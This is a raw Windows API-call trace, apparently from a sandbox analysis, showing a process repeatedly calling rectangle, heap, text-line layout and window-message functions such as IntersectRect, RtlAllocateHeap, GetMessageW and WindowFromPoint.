[0151.290] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0151.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0151.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0151.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0151.290] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0151.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0151.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0151.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0151.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.291] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0151.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0151.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.291] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0151.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0151.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0151.291] LsSetDoc () returned 0x0
[0151.291] LsCreateLine () returned 0x0
[0151.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.292] LsDestroyLine () returned 0x0
[0151.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0151.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0151.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.292] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0151.292] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0151.292] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0151.292] LsSetDoc () returned 0x0
[0151.293] LsCreateLine () returned 0x0
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0151.293] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] LsdnFinishRegular () returned 0x0
[0151.293] LsQueryLinePointPcp () returned 0x0
[0151.293] LsDestroyLine () returned 0x0
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0151.294] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0151.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.294] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0151.294] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0151.294] GetCurrentThreadId () returned 0x4e0
[0151.295] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x213027f, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0151.295] NtdllDefWindowProc_W () returned 0x0
[0151.295] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0151.295] GetMessageTime () returned 75348
[0151.295] GetMessagePos () returned 0x26302b9
[0151.295] GetCapture () returned 0x0
[0151.295] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0151.295] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0151.295] GetCurrentThreadId () returned 0x4e0
[0151.295] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4bb328, Size=0x18) returned 0x4bc520
[0151.295] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0151.295] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0151.296] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0151.296] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0151.296] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0151.296] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0151.296] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0151.296] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0151.296] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0151.296] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0151.296] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0151.296] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0151.296] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x213027f, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0151.296] NtdllDefWindowProc_W () returned 0x0
[0151.296] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0151.296] GetCurrentThreadId () returned 0x4e0
[0151.297] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0151.297] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0151.297] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0151.297] NtdllDefWindowProc_W () returned 0x0
[0151.297] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0151.297] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0151.297] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0151.297] GetCurrentThreadId () returned 0x4e0
[0151.297] GetCurrentThreadId () returned 0x4e0
[0151.297] GetCurrentThreadId () returned 0x4e0
[0151.297] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0151.878] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0151.878] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0151.878] GetCapture () returned 0x0
[0151.878] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0151.878] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0151.878] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0151.878] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0151.878] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0151.878] GetCurrentThreadId () returned 0x4e0
[0151.878] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0152.329] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0152.329] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0152.329] GetCapture () returned 0x0
[0152.329] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0152.329] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0152.329] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0152.329] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0152.329] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0152.329] GetCurrentThreadId () returned 0x4e0
[0152.329] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0152.639] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0152.639] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0152.639] GetCapture () returned 0x0
[0152.640] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0152.640] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0152.640] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0152.640] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0152.640] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0152.640] GetCurrentThreadId () returned 0x4e0
[0152.640] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0152.952] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0152.952] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0152.952] GetCapture () returned 0x0
[0152.952] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0152.952] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0152.952] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0152.952] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0152.952] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0152.952] GetCurrentThreadId () returned 0x4e0
[0152.952] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0153.435] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0153.435] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0153.435] GetCapture () returned 0x0
[0153.435] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0153.435] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0153.435] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0153.435] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0153.435] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0153.435] GetCurrentThreadId () returned 0x4e0
[0153.435] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0153.747] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0153.747] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0153.747] GetCapture () returned 0x0
[0153.747] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0153.747] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0153.747] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0153.747] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0153.747] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0153.747] GetCurrentThreadId () returned 0x4e0
[0153.747] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0154.059] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0154.059] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0154.059] GetCapture () returned 0x0
[0154.059] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0154.059] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0154.059] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0154.059] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0154.059] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0154.059] GetCurrentThreadId () returned 0x4e0
[0154.060] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0154.371] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0154.371] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0154.371] GetCapture () returned 0x0
[0154.371] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0154.371] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0154.371] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0154.371] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0154.371] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0154.371] GetCurrentThreadId () returned 0x4e0
[0154.371] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0154.683] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0154.683] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0154.683] GetCapture () returned 0x0
[0154.683] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0154.683] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0154.683] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0154.683] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0154.683] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0154.683] GetCurrentThreadId () returned 0x4e0
[0154.683] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0154.995] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0154.995] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0154.995] GetCapture () returned 0x0
[0154.995] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0154.995] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0154.995] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0154.995] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0154.995] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0154.995] GetCurrentThreadId () returned 0x4e0
[0154.995] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0155.307] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0155.307] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0155.307] GetCapture () returned 0x0
[0155.307] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0155.307] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0155.307] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0155.307] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0155.307] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0155.307] GetCurrentThreadId () returned 0x4e0
[0155.307] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0155.619] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0155.619] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0155.619] GetCapture () returned 0x0
[0155.619] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0155.619] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0155.619] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0155.619] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0155.619] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0155.619] GetCurrentThreadId () returned 0x4e0
[0155.619] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0155.931] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0155.931] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0155.931] GetCapture () returned 0x0
[0155.931] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0155.931] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0155.931] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0155.931] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0155.931] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0155.931] GetCurrentThreadId () returned 0x4e0
[0155.931] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0156.243] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0156.243] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0156.243] GetCapture () returned 0x0
[0156.243] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0156.243] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0156.243] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0156.243] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0156.243] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0156.243] GetCurrentThreadId () returned 0x4e0
[0156.243] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0156.555] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0156.555] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0156.555] GetCapture () returned 0x0
[0156.555] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0156.555] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0156.555] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0156.555] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0156.555] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0156.555] GetCurrentThreadId () returned 0x4e0
[0156.555] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0156.867] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0156.867] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0156.867] GetCapture () returned 0x0
[0156.867] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0156.867] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0156.867] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0156.867] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0156.867] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0156.867] GetCurrentThreadId () returned 0x4e0
[0156.867] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0157.179] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0157.179] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0157.179] GetCapture () returned 0x0
[0157.179] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0157.179] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0157.179] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0157.179] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0157.179] PtInRect (lprc=0x1cf3f0, pt=0x27f) returned 1
[0157.179] GetCurrentThreadId () returned 0x4e0
[0157.179] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0157.491] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0157.491] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0157.491] GetCapture () returned 0x0
[0157.491] WindowFromPoint (Point=0x2b9) returned 0x1013a
[0157.491] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0157.491] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0157.491] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
